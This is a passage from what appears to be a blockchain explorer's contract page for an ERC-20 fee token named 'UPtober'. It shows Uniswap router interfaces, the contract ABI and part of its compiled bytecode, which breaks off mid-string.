        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"team_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"address","name":"value","type":"address"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"Buy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_getChainID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"_setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addTeamMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseTokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTelegramInformation","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTwitterInformation","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getWebsiteInformation","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"__websiteInformation","type":"string"},{"internalType":"string","name":"__telegramInformation","type":"string"},{"internalType":"string","name":"__twitterInformation","type":"string"}],"name":"setSocials","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_tokenURI","type":"string"}],"name":"setTokenURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapFactory","outputs":[{"internalType":"contract IUniswapV2Factory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052620d2f00601455600160165565010e156350006017556001602460016101000a81548160ff0219169083151502179055506001602460026101000a81548160ff0219169083151502179055506001602460036101000a81548160ff0219169083151502179055506001602460046101000a81548160ff0219169083151502179055506000602460056101000a81548160ff021916908315150217905550348015620000ae57600080fd5b5060405162006dc138038062006dc18339818101604052810190620000d4919062000b00565b6040518060400160405280600781526020017f5550746f626572000000000000000000000000000000000000000000000000008152506040518060400160405280600781526020017f5550544f424552000000000000000000000000000000000000000000000000008152508280600062000154620005aa60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050826004908162000245919062000dac565b50816005908162000257919062000dac565b505050506000737a250d5630b4cf539739df2c5dacb4c659f2488d905062000287816001620005b260201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505060805173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000309573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032f919062000b00565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600080600080600080600068056bc75e2d63100000905086601b8190555085601a8190555084601981905550601954601a54601b54620003b0919062000ec2565b620003bc919062000ec2565b601c81905550836022819055508260218190555081602081905550602054602154602254620003ec919062000ec2565b620003f8919062000ec2565b6023819055506107d0600a8262000410919062000efd565b6200041c919062000f77565b60128190555069be951906eba2aa80000060118190555069be951906eba2aa800000601081905550620004546200061d60201b60201c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004a46200061d60201b60201c565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000506620004f86200061d60201b60201c565b60016200064660201b60201c565b620005193060016200064660201b60201c565b6200052e61dead60016200064660201b60201c565b62000550620005426200061d60201b60201c565b6001620005b260201b60201c565b62000563306001620005b260201b60201c565b6200057861dead6001620005b260201b60201c565b6200058a33826200070160201b60201c565b6200059a620008a760201b60201c565b505050505050505050506200117e565b600033905090565b620005c2620008db60201b60201c565b80602860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b62000656620008db60201b60201c565b80602760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051620006f5919062000fcc565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000773576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200076a906200104a565b60405180910390fd5b62000787600083836200096c60201b60201c565b6200079e816006546200097160201b90919060201c565b600681905550620007f881600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200097160201b90919060201c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200089b91906200107d565b60405180910390a35050565b6000620008b9620008db60201b60201c565b6000602460036101000a81548160ff0219169083151502179055506001905090565b620008eb620005aa60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1662000911620009d460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146200096a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200096190620010ea565b60405180910390fd5b565b505050565b600080828462000982919062000ec2565b905083811015620009ca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009c1906200115c565b60405180910390fd5b8091505092915050565b600080620009e7620009f060201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000a6d5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662000a91565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000ac88262000a9b565b9050919050565b62000ada8162000abb565b811462000ae657600080fd5b50565b60008151905062000afa8162000acf565b92915050565b60006020828403121562000b195762000b1862000a96565b5b600062000b298482850162000ae9565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000bb457607f821691505b60208210810362000bca5762000bc962000b6c565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000c347fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000bf5565b62000c40868362000bf5565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000c8d62000c8762000c818462000c58565b62000c62565b62000c58565b9050919050565b6000819050919050565b62000ca98362000c6c565b62000cc162000cb88262000c94565b84845462000c02565b825550505050565b600090565b62000cd862000cc9565b62000ce581848462000c9e565b505050565b5b8181101562000d0d5762000d0160008262000cce565b60018101905062000ceb565b5050565b601f82111562000d5c5762000d268162000bd0565b62000d318462000be5565b8101602085101562000d41578190505b62000d5962000d508562000be5565b83018262000cea565b50505b505050565b600082821c905092915050565b600062000d816000198460080262000d61565b1980831691505092915050565b600062000d9c838362000d6e565b9150826002028217905092915050565b62000db78262000b32565b67ffffffffffffffff81111562000dd35762000dd262000b3d565b5b62000ddf825462000b9b565b62000dec82828562000d11565b600060209050601f83116001811462000e24576000841562000e0f578287015190505b62000e1b858262000d8e565b86555062000e8b565b601f19841662000e348662000bd0565b60005b8281101562000e5e5784890151825560018201915060208501945060208101905062000e37565b8683101562000e7e578489015162000e7a601f89168262000d6e565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000ecf8262000c58565b915062000edc8362000c58565b925082820190508082111562000ef75762000ef662000e93565b5b92915050565b600062000f0a8262000c58565b915062000f178362000c58565b925082820262000f278162000c58565b9150828204841483151762000f415762000f4062000e93565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000f848262000c58565b915062000f918362000c58565b92508262000fa45762000fa362000f48565b5b828204905092915050565b60008115159050919050565b62000fc68162000faf565b82525050565b600060208201905062000fe3600083018462000fbb565b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062001032601f8362000fe9565b91506200103f8262000ffa565b602082019050919050565b60006020820190508181036000830152620010658162001023565b9050919050565b620010778162000c58565b82525050565b60006020820190506200109460008301846200106c565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000620010d260208362000fe9565b9150620010df826200109a565b602082019050919050565b600060208201905081810360008301526200110581620010c3565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600062001144601b8362000fe9565b915062001151826200110c565b602082019050919050565b60006020820190508181036000830152620011778162001135565b9050919050565b608051615c0b620011b6600039600081816111cb01528181612d6201528181613e2a01528181613f0b0152613f320152615c0b6000f3fe6080604052600436106104145760003560e01c80638a8c523c1161021e578063c18bc19511610123578063e0dc3546116100ab578063f11a24d31161007a578063f11a24d314610fcc578063f2fde38b14610ff7578063f637434214611020578063f8b45b051461104b578063fe72b27a146110765761041b565b8063e0dc354614610f24578063e0df5b6f14610f4f578063e2f4560514610f78578063e63e646f14610fa35761041b565b8063c8c8ebe4116100f2578063c8c8ebe414610e29578063d257b34f14610e54578063d547cfb714610e91578063d85ba06314610ebc578063dd62ed3e14610ee75761041b565b8063c18bc19514610d81578063c2b7bbb614610daa578063c3f93b0114610dd3578063c876d0b914610dfe5761041b565b8063a0d82dc5116101a6578063a9059cbb11610175578063a9059cbb14610c8a578063b62496f514610cc7578063bbbb3ffc14610d04578063bbc0c74214610d2d578063c024666814610d585761041b565b8063a0d82dc514610bce578063a165506f14610bf9578063a457c2d714610c22578063a4c82a0014610c5f5761041b565b806392136913116101ed5780639213691314610af757806395d89b4114610b225780639c3b4fdc14610b4d5780639ec22c0e14610b785780639fccce3214610ba35761041b565b80638a8c523c14610a5f5780638bdb2afa14610a765780638da5cb5b14610aa15780638ea5220f14610acc5761041b565b8063313ce567116103245780636ddd1713116102ac578063751039fc1161027b578063751039fc1461098a578063756b7bb7146109b55780637571336a146109e057806375f0a87414610a095780637bce5a0414610a345761041b565b80636ddd1713146108e257806370a082311461090d578063715018a61461094a578063730c1888146109615761041b565b80633eb2b5ad116102f35780633eb2b5ad146107fb57806349bd5a5e146108245780634fbee1931461084f578063660a00ed1461088c5780636a486a8e146108b75761041b565b8063313ce5671461073d5780633582ad231461076857806339509351146107935780633c130d90146107d05761041b565b80631a8145bb116103a757806326ededb81161037657806326ededb81461065657806327c8f8351461067f5780632c3e486c146106aa5780632e60163a146106d55780632e82f1a0146107125761041b565b80631a8145bb1461059a5780631f3fed8f146105c5578063203e727e146105f057806323b872dd146106195761041b565b80631694505e116103e35780631694505e146104ee57806318160ddd14610519578063184c16c514610544578063199ffc721461056f5761041b565b806306fdde0314610420578063095ea7b31461044b5780630d0da2d41461048857806310d5de53146104b15761041b565b3661041b57005b600080fd5b34801561042c57600080fd5b506104356110b3565b60405161044291906140af565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190614179565b611145565b60405161047f91906141d4565b60405180910390f35b34801561049457600080fd5b506104af60048036038101906104aa9190614254565b611163565b005b3480156104bd57600080fd5b506104d860048036038101906104d39190614308565b6111a9565b6040516104e591906141d4565b60405180910390f35b3480156104fa57600080fd5b506105036111c9565b6040516105109190614394565b60405180910390f35b34801561052557600080fd5b5061052e6111ed565b60405161053b91906143be565b60405180910390f35b34801561055057600080fd5b506105596111f7565b60405161056691906143be565b60405180910390f35b34801561057b57600080fd5b506105846111fd565b60405161059191906143be565b60405180910390f35b3480156105a657600080fd5b506105af611203565b6040516105bc91906143be565b60405180910390f35b3480156105d157600080fd5b506105da611209565b6040516105e791906143be565b60405180910390f35b3480156105fc57600080fd5b50610617600480360381019061061291906143d9565b61120f565b005b34801561062557600080fd5b50610640600480360381019061063b9190614406565b6112a2565b60405161064d91906141d4565b60405180910390f35b34801561066257600080fd5b5061067d600480360381019061067891906144af565b61137b565b005b34801561068b57600080fd5b50610694611458565b6040516106a1919061451e565b60405180910390f35b3480156106b657600080fd5b506106bf61145e565b6040516106cc91906143be565b60405180910390f35b3480156106e157600080fd5b506106fc60048036038101906106f79190614308565b611464565b60405161070991906141d4565b60405180910390f35b34801561071e57600080fd5b506107276114ba565b60405161073491906141d4565b60405180910390f35b34801561074957600080fd5b506107526114cd565b60405161075f9190614555565b60405180910390f35b34801561077457600080fd5b5061077d6114d6565b60405161078a91906141d4565b60405180910390f35b34801561079f57600080fd5b506107ba60048036038101906107b59190614179565b6114e9565b6040516107c791906141d4565b60405180910390f35b3480156107dc57600080fd5b506107e561159c565b6040516107f291906140af565b60405180910390f35b34801561080757600080fd5b50610822600480360381019061081d9190614308565b61165a565b005b34801561083057600080fd5b506108396116a6565b604051610846919061451e565b60405180910390f35b34801561085b57600080fd5b5061087660048036038101906108719190614308565b6116cc565b60405161088391906141d4565b60405180910390f35b34801561089857600080fd5b506108a1611722565b6040516108ae91906143be565b60405180910390f35b3480156108c357600080fd5b506108cc61172a565b6040516108d991906143be565b60405180910390f35b3480156108ee57600080fd5b506108f7611730565b60405161090491906141d4565b60405180910390f35b34801561091957600080fd5b50610934600480360381019061092f9190614308565b611743565b60405161094191906143be565b60405180910390f35b34801561095657600080fd5b5061095f61178c565b005b34801561096d57600080fd5b506109886004803603810190610983919061459c565b611852565b005b34801561099657600080fd5b5061099f61191e565b6040516109ac91906141d4565b60405180910390f35b3480156109c157600080fd5b506109ca61194a565b6040516109d791906140af565b60405180910390f35b3480156109ec57600080fd5b50610a076004803603810190610a0291906145ef565b6119dc565b005b348015610a1557600080fd5b50610a1e611a3f565b604051610a2b919061451e565b60405180910390f35b348015610a4057600080fd5b50610a49611a65565b604051610a5691906143be565b60405180910390f35b348015610a6b57600080fd5b50610a74611a6b565b005b348015610a8257600080fd5b50610a8b611ab2565b604051610a989190614650565b60405180910390f35b348015610aad57600080fd5b50610ab6611ad8565b604051610ac3919061451e565b60405180910390f35b348015610ad857600080fd5b50610ae1611b01565b604051610aee919061451e565b60405180910390f35b348015610b0357600080fd5b50610b0c611b27565b604051610b1991906143be565b60405180910390f35b348015610b2e57600080fd5b50610b37611b2d565b604051610b4491906140af565b60405180910390f35b348015610b5957600080fd5b50610b62611bbf565b604051610b6f91906143be565b60405180910390f35b348015610b8457600080fd5b50610b8d611bc5565b604051610b9a91906143be565b60405180910390f35b348015610baf57600080fd5b50610bb8611bcb565b604051610bc591906143be565b60405180910390f35b348015610bda57600080fd5b50610be3611bd1565b604051610bf091906143be565b60405180910390f35b348015610c0557600080fd5b50610c206004803603810190610c1b919061466b565b611bd7565b005b348015610c2e57600080fd5b50610c496004803603810190610c449190614179565b611bed565b604051610c5691906141d4565b60405180910390f35b348015610c6b57600080fd5b50610c74611cba565b604051610c8191906143be565b60405180910390f35b348015610c9657600080fd5b50610cb16004803603810190610cac9190614179565b611cc0565b604051610cbe91906141d4565b60405180910390f35b348015610cd357600080fd5b50610cee6004803603810190610ce99190614308565b611cde565b604051610cfb919061451e565b60405180910390f35b348015610d1057600080fd5b50610d2b6004803603810190610d26919061466b565b611d11565b005b348015610d3957600080fd5b50610d42611df5565b604051610d4f91906141d4565b60405180910390f35b348015610d6457600080fd5b50610d7f6004803603810190610d7a91906145ef565b611e08565b005b348015610d8d57600080fd5b50610da86004803603810190610da391906143d9565b611eb9565b005b348015610db657600080fd5b50610dd16004803603810190610dcc9190614308565b611f4c565b005b348015610ddf57600080fd5b50610de8611fc5565b604051610df591906140af565b60405180910390f35b348015610e0a57600080fd5b50610e13612057565b604051610e2091906141d4565b60405180910390f35b348015610e3557600080fd5b50610e3e61206a565b604051610e4b91906143be565b60405180910390f35b348015610e6057600080fd5b50610e7b6004803603810190610e7691906143d9565b612070565b604051610e8891906141d4565b60405180910390f35b348015610e9d57600080fd5b50610ea6612151565b604051610eb391906140af565b60405180910390f35b348015610ec857600080fd5b50610ed16121df565b604051610ede91906143be565b60405180910390f35b348015610ef357600080fd5b50610f0e6004803603810190610f09919061466b565b6121e5565b604051610f1b91906143be565b60405180910390f35b348015610f3057600080fd5b50610f3961226c565b604051610f4691906140af565b60405180910390f35b348015610f5b57600080fd5b50610f766004803603810190610f7191906147db565b6122fe565b005b348015610f8457600080fd5b50610f8d612319565b604051610f9a91906143be565b60405180910390f35b348015610faf57600080fd5b50610fca6004803603810190610fc59190614824565b61231f565b005b348015610fd857600080fd5b50610fe16123cc565b604051610fee91906143be565b60405180910390f35b34801561100357600080fd5b5061101e60048036038101906110199190614308565b6123d2565b005b34801561102c57600080fd5b50611035612506565b60405161104291906143be565b60405180910390f35b34801561105757600080fd5b5061106061250c565b60405161106d91906143be565b60405180910390f35b34801561108257600080fd5b5061109d600480360381019061109891906143d9565b612512565b6040516110aa91906141d4565b60405180910390f35b6060600480546110c2906148b3565b80601f01602080910402602001604051908101604052809291908181526020018280546110ee906148b3565b801561113b5780601f106111105761010080835404028352916020019161113b565b820191906000526020600020905b81548152906001019060200180831161111e57829003601f168201915b5050505050905090565b60006111596111526127af565b84846127b7565b6001905092915050565b61116b612980565b85856008918261117c929190614a91565b5083836009918261118e929190614a91565b508181600a91826111a0929190614a91565b50505050505050565b60286020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600654905090565b60145481565b60165481565b601e5481565b601d5481565b611217612980565b633b9aca006103e860016112296111ed565b6112339190614b90565b61123d9190614c01565b6112479190614c01565b811015611289576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128090614ca4565b60405180910390fd5b633b9aca00816112999190614b90565b60118190555050565b6000611